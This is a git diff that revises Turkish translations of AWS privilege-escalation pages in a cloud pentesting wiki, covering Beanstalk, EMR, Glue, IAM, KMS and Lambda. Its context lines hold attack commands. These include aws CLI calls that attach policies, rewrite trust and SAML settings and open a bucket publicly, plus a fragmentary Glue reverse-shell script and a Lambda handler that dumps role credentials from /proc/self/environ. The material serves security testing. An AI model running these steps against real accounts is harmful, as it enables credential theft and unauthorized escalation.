aws elasticbeanstalk create-application --application-name MyApp
```
-- AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- Bir AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
-Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**.
+Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**.
- Uygulama kodunuzu ve bağımlılıklarını bir ZIP dosyasına paketleyin:
```python
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **güncellemeniz** gerekiyor, böylece **kurban buna erişebilir** (Bu, Bucket'ı **HERKES** için **açacaktır**):
+Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **kurbanın erişebilmesi** için **güncellemeniz** gerekiyor (Bu, Bucket'ı **HERKES** için **açacaktır**):
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index f1e1af9c9..00a335db9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Daha fazla **EMR hakkında bilgi** için:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Bu izinlere sahip bir saldırgan **EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir** ve kimlik bilgilerini çalmaya çalışabilir.\
-Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya birini ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz).
+Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya bir tane ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
-Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz.
+Not edin ki bir **EMR rolü** `--service-role` içinde belirtilmiştir ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz.
**Olası Etki:** Belirtilen EC2 hizmet rolüne privesc.
@@ -45,7 +45,7 @@ Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--e
Bu izinlerle bir saldırgan **AWS konsoluna** gidebilir, bir Notebook oluşturabilir ve IAM Rolünü çalmak için erişebilir.
> [!CAUTION]
-> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim.
+> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim.
**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
@@ -55,7 +55,7 @@ Sadece bu izinle bir saldırgan **Jupyter Notebook'a erişebilir ve ona bağlı
Notebook'un URL'si `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
> [!CAUTION]
-> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim.
+> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim.
**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index c02e27df9..f61812d0a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,7 +4,7 @@
### `gamelift:RequestUploadCredentials`
-Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapım dosyası yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir.
+Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapı dosyası seti yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index f84574259..93b4d2750 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -6,7 +6,7 @@
### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-Bu izinlere sahip kullanıcılar, **mevcut bir hizmet rolünü Glue tarafından üstlenilebilir şekilde atayarak yeni bir AWS Glue geliştirme uç noktası kurabilirler**.
+Bu izinlere sahip kullanıcılar, **yeni bir AWS Glue geliştirme uç noktası kurabilir**, **bu uç noktaya belirli izinlere sahip olan mevcut bir hizmet rolünü atayabilir**.
Kurulumdan sonra, **saldırgan uç noktanın örneğine SSH ile bağlanabilir** ve atanan rolün IAM kimlik bilgilerini çalabilir:
```bash
@@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
-Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir.
+Gizlilik amacıyla, Glue sanal makinesi içindeki IAM kimlik bilgilerini kullanmanız önerilir.
**Olası Etki:** Belirtilen glue hizmet rolüne privesc.
@@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini** oluşturabilir veya güncelleyebilir, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodunu çalıştırmayı içerir; bu, Glue işine ekli olan rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir ve bu da o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir:
+**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini oluşturabilir veya güncelleyebilir**, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodu çalıştırmayı içerir; bu, Glue işine ekli rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir. Bu, o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
@@ -75,9 +75,9 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
### `glue:UpdateJob`
-Sadece güncelleme izni ile bir saldırgan, zaten ekli olan rolün IAM Kimlik Bilgilerini çalabilir.
+Sadece güncelleme izni ile bir saldırgan, zaten bağlı olan rolün IAM Kimlik Bilgilerini çalabilir.
-**Olası Etki:** Ekli olan glue hizmet rolüne privesc.
+**Olası Etki:** Bağlı olan glue hizmet rolüne privesc.
## Referanslar
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index a33b99dcf..cb72adb87 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -12,7 +12,7 @@ IAM hakkında daha fazla bilgi için kontrol edin:
### **`iam:CreatePolicyVersion`**
-Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan `--set-as-default` bayrağını kullanarak. Bu, özel izinlerin tanımlanmasını sağlar.
+Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izni gereksinimini atlar. Bu, özel izinlerin tanımlanmasını sağlar.
**Exploit Command:**
```bash
@@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan yetki yükseltme.
+**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükseltme.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak doğrudan yetki yükseltir.
+Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak ayrıcalıkları doğrudan yükseltir.
**Kullanıcı için Sömürü:**
```bash
@@ -103,7 +103,7 @@ Rollere, kullanıcılara veya gruplara politikalar eklemeye veya koymaya izin ve
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Satır İçi Politikalara Saldırı:**
+**Satır İçi Politika için İstismar:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Bir politika kullanabilirsiniz:
+Aşağıdaki gibi bir politika kullanabilirsiniz:
```json
{
"Version": "2012-10-17",
@@ -148,7 +148,7 @@ Bir rolün varsayılan rol politikası belgesini değiştirmeye izin verir, böy
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni verir:
+Politika aşağıdaki gibi görünüyorsa, bu kullanıcıya rolü üstlenme izni verir:
```json
{
"Version": "2012-10-17",
@@ -163,11 +163,11 @@ Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni ver
]
}
```
-**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan yetki yükseltme.
+**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltme.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir, bu da potansiyel dolaylı yetki yükseltmeye yol açar.
+CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarının yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir, bu da potansiyel dolaylı ayrıcalık yükseltmesine yol açar.
**SSH Anahtarı Yükleme için Sömürü:**
```bash
@@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** **güvenen** herhangi bir **rol ile giriş yapmak** için kötüye kullanabilirsiniz.
+Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** kullanarak **güvenen** herhangi bir **rol ile giriş yapabilirsiniz**.
Bunu yapmanın **meşru kullanıcıların giriş yapamayacağını** unutmayın. Ancak, XML'i alabilir, kendi XML'inizi koyabilir, giriş yapabilir ve önceki ayarları yapılandırabilirsiniz.
```bash
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir Araç
+> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir araç
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollerde giriş yapabilmek için yeni bir **Parmak İzi** ekleyebilir.
+(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir.
```bash
# List providers
aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 70064847d..771ff2d5b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -49,7 +49,7 @@ policy.json:
```
### `kms:CreateGrant`
-Bu, **bir yetkilinin bir KMS anahtarını kullanmasına izin verir:**
+Bu, **bir yetkilinin KMS anahtarını kullanmasına izin verir:**
```bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -57,12 +57,12 @@ aws kms create-grant \
--operations Decrypt
```
> [!WARNING]
-> Bir grant yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Bir yetki yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> [!WARNING]
-> Grant oluşturulduktan sonra KMS'nin **kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\
-> Ancak, grant'i hemen kullanmak gerekiyorsa [bir grant token kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\
-> [**Daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> KMS'nin **yetki oluşturulduktan sonra kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\
+> Ancak, yetkiyi hemen kullanmak gerekiyorsa [bir yetki belirteci kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\
+> [**daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
@@ -70,7 +70,7 @@ aws kms generate-data-key \
–-key-spec AES_256 \
--grant-tokens $token
```
-Not edin ki, anahtarların yetkilerini listelemek mümkündür:
+Anahtarların izinlerini listelemenin mümkün olduğunu unutmayın:
```bash
aws kms list-grants --key-id
```
@@ -78,7 +78,7 @@ aws kms list-grants --key-id
Bu izinlerle, çok bölgeli etkin bir KMS anahtarını farklı bir bölgede farklı bir politika ile çoğaltmak mümkündür.
-Yani, bir saldırgan bunu kullanarak anahtara erişimini artırabilir ve onu kullanabilir.
+Yani, bir saldırgan bunu anahtara erişimini artırmak ve kullanmak için kötüye kullanabilir.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index fda77df26..10d8cec44 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -4,7 +4,7 @@
## lambda
-Lambda hakkında daha fazla bilgi için:
+lambda hakkında daha fazla bilgi için:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer bilinmeyen güvenlik grupları ters shell'lerinizi filtreliyorsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır.
+Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer ters shell'lerinizi filtreleyen bilinmeyen güvenlik grupları varsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine sahip kullanıcılar (ve potansiyel olarak `dynamodb:PutItem` ve `dynamodb:CreateTable`) dolaylı olarak **yetki yükseltebilirler**; hatta `lambda:InvokeFunction` olmadan bile.\
Kötü niyetli kod içeren bir **Lambda fonksiyonu oluşturabilir ve ona mevcut bir IAM rolü atayabilirler**.
-Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonu dolaylı olarak çağrılır ve kod, geçirilen IAM rolünün izinleriyle yürütülür.
+Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonunu dolaylı olarak çağırarak kodu geçirilen IAM rolünün izinleriyle çalıştırır.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır:**
+Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **akış etkinleştirilmiş yeni bir tablo oluşturmalıdır:**
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -118,7 +118,7 @@ DynamoDB akışına bağlı Lambda işlevi ile, saldırgan **DynamoDB akışın
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
-**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki yükseltme.
+**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki artırımı.
### `lambda:AddPermission`
@@ -134,7 +134,7 @@ aws lambda invoke --function-name /tmp/outout
### `lambda:AddLayerVersionPermission`
-Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve güvenlik açıkları veya hassas bilgiler arayabilir.
+Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve zayıflıkları veya hassas bilgileri arayabilir.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -161,13 +161,13 @@ aws lambda invoke --function-name my_function output.txt
### `lambda:UpdateFunctionConfiguration`
-#### Çevresel değişkenler aracılığıyla RCE
+#### Ortam değişkenleri aracılığıyla RCE
-Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak çevresel değişkenler eklemek mümkündür. Örneğin, python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir:
+Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak ortam değişkenleri eklemek mümkündür. Örneğin, Python'da `PYTHONWARNING` ve `BROWSER` ortam değişkenlerini kötüye kullanarak bir Python sürecinin rastgele komutlar çalıştırması sağlanabilir:
```bash
aws --profile none-priv lambda update-function-configuration --function-name